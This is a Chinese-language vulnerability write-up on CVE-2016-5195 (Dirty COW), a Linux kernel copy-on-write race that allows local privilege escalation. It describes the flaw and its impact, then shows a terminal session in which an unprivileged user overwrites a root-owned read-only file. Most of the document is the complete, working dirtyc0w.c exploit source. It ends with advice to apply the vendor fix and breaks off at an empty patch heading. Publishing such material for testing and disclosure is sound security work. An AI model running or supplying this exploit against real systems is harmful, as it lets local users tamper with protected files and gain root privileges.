一、漏洞简介
CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞，原理是linux内核内存子系统在
处理私有只读存储映射的写入时复制机制发现了一个冲突条件。这个漏洞官方给出的影响范围是在
linux内核2.6.22以后的版本都受影响，同时已经在2016年10月18日进行了修复。
二、漏洞影响
1. 没有权限的本地用户可以使用此漏洞获取写访问权限，修改制度内存映射，从而提权。
2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件，绕过标准权限的限制，这些权限机制通常用于防止修改没有适当的权限集。
三、漏洞测试
[root@localhost tmp]# echo test123 > test.txt
[root@localhost tmp]# chmod 0404 test.txt
[root@localhost tmp]# ls -lash test.txt
4.0K -r-----r--. 1 root root 8 10月 24 16:18 test.txt
[root@localhost tmp]# vim dirtyc0w.c
[root@localhost tmp]# cat test.txt
test123
[root@localhost tmp]# gcc -lpthread dirtyc0w.c -o dirtyc0w
[root@localhost tmp]# su - pentest
上一次登录：一 10月 24 09:02:01 CST 2016:0 上
最后一次失败的登录：一 10月 24 13:44:23 CST 2016从 :0:0 上
最有一次成功登录后有 2 次失败的登录尝试。
[pentest@localhost ~]$ cd /tmp/
[pentest@localhost tmp]$ ls -l
总用量 24
-rwxr-xr-x. 1 root root 13432 10月 24 16:20 dirtyc0w
-rw-r--r--. 1 root root 2975 10月 24 16:20 dirtyc0w.c
-r-----r--. 1 root root 8 10月 24 16:18 test.txt
[pentest@localhost tmp]$ ./dirtyc0w test.txt 123test
mmap 7f2075a07000
madvise 0
procselfmem 700000000
[pentest@localhost tmp]$ cat test.txt
123test
[pentest@localhost tmp]$
漏洞利用POC: dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
注意事项：
有些发行版系统的内核可能在受影响范围内，但是使用上述poc的时候，编译也没出错，
文件权限也没出错，漏洞执行的过程中没有任何错误但是就是无法写入内容到指定文件中，原因可能是
该POC不适用你的发行版或内核，如此就没办法测试了。虽然没有办法执行但是不意味着该漏洞不存在，
保险起见还是要按着官方给出的修复建议进行相关修复。
厂商补丁：